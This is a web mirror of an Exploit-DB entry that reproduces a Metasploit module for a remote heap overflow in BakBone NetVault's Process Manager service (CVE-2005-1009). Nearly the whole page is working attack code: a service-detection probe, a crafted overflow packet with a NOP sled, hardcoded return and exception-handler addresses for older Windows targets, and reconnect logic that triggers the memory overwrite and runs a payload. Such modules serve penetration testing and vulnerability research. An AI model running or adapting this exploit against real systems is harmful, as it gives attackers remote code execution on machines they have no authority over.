BakBone NetVault – Remote Heap Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2010-09-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16448/
  • ##
    # $Id: bakbone_netvault_heap.rb 10394 2010-09-20 08:06:27Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    
    
    require 'msf/core'
    
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = AverageRanking
    
    	include Msf::Exploit::Remote::Tcp
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'BakBone NetVault Remote Heap Overflow',
    			'Description'=> %q{
    		This module exploits a heap overflow in the BakBone NetVault
    	Process Manager service. This code is a direct port of the netvault.c
    	code written by nolimit and BuzzDee.
    			},
    			'Author' => [ 'hdm', '<nolimit.bugtraq[at]ri0tnet.net>' ],
    			'Version'=> '$Revision: 10394 $',
    			'References' =>
    				[
    					['CVE', '2005-1009'],
    					['OSVDB', '15234'],
    					['BID', '12967'],
    				],
    			'Payload'=>
    				{
    					'Space'=> 1024,
    					'BadChars' => "\x00\x20",
    					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					['Windows 2000 SP4 English', { 'Ret' => 0x75036d7e, 'UEF' => 0x7c54144c } ],
    					['Windows XP SP0/SP1 English', { 'Ret' => 0x7c369bbd, 'UEF' => 0x77ed73b4 } ],
    				],
    
    			'Privileged' => false,
    			'DisclosureDate' => 'Apr 01 2005'
    			))
    
    			register_options(
    			[
    				Opt::RPORT(20031)
    			], self.class)
    	end
    
    	def check
    		connect
    
    		hname = "METASPLOIT"
    		probe =
    			"\xc9\x00\x00\x00\x01\xcb\x22\x77\xc9\x17\x00\x00\x00\x69\x3b\x69" +
    			"\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69" +
    			"\x3b\x73\x3b\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00" +
    			"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00" +
    			"\x03\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00" +
    			[ hname.length + 1 ].pack('V') + hname + "\x00"
    		probe += "\x00" * (201 - probe.length)
    
    		sock.put(probe)
    		res = sock.get_once(1, 10)
    
    		off = (res || '').index("NVBuild")
    
    		if off
    			off += 21
    			ver= res[off + 4, res[off, 4].unpack('V')[0]].to_i
    
    			if ver > 0
    				print_status("Detected NetVault Build #{ver}")
    				return Exploit::CheckCode::Detected
    			end
    		end
    
    		return Exploit::CheckCode::Safe
    	end
    
    	def exploit
    		print_status("Trying target #{target.name}...")
    
    		head =
    			"\x00\x00\x02\x01\x00\x00\x00\x8f\xd0\xf0\xca\x0b\x00\x00\x00\x69" +
    			"\x3b\x62\x3b\x6f\x3b\x6f\x3b\x7a\x3b\x00\x11\x57\x3c\x42\x00\x01" +
    			"\xb9\xf9\xa2\xc8\x00\x00\x00\x00\x03\x00\x00\x00\x00\x01\xa5\x97" +
    			"\xf0\xca\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20\x00\x00\x00\x10" +
    			"\x02\x4e\x3f\xac\x14\xcc\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
    			"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" +
    			"\xa5\x97\xf0\xca\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20\x00\x00" +
    			"\x00\x10\x02\x4e\x3f\xc0\xa8\xea\xeb\x00\x00\x00\x00\x00\x00\x00" +
    			"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
    			"\x00\x01\xa5\x97\xf0\xca\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20" +
    			"\x00\x00\x00\x10\x02\x4e\x3f\xc2\x97\x2c\xd3\x00\x00\x00\x00\x00" +
    			"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
    			"\x00\x00\x00\xb9\xf9\xa2\xc8\x02\x02\x00\x00\x00\xa5\x97\xf0\xca" +
    			"\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20\x00\x00\x00\x04\x02\x4e" +
    			"\x3f\xac\x14\xcc\x0a\xb0\xfc\xe2\x00\x00\x00\x00\x00\xec\xfa\x8e" +
    			"\x01\xa4\x6b\x41\x00\xe4\xfa\x8e\x01\xff\xff\xff\xff\x01\x02"
    
    		pattern = make_nops(39947) + "\x00\x00\x00"
    		p = payload.encoded
    
    		pattern[0, head.length]= head
    		pattern[32790, 2]= "\xeb\x0a"
    		pattern[32792, 4]= [ target.ret ].pack('V')
    		pattern[32796, 4]= [ target['UEF'] ].pack('V')
    		pattern[32800, p.length] = p
    
    		sent = 0
    		try= 0
    
    		15.times {
    			try += 1
    			connect
    			sent = sock.put(pattern)
    			disconnect
    			break if sent == pattern.length
    		}
    
    		if (try == 15)
    			print_error("Could not write full packet to server.")
    			return
    		end
    
    		print_status("Overflow request sent, sleeping fo four seconds (#{try} tries)")
    		select(nil,nil,nil,4)
    
    		print_status("Attempting to trigger memory overwrite by reconnecting...")
    
    		begin
    			10.times { |x|
    				connect
    				sock.put(pattern)
    				print_status(" Completed connection #{x}")
    				sock.get_once(1, 1)
    				disconnect
    			}
    		rescue
    		end
    
    		print_status("Waiting for payload to execute...")
    
    		handler
    		disconnect
    	end
    
    	def wfs_delay
    		5
    	end
    
    end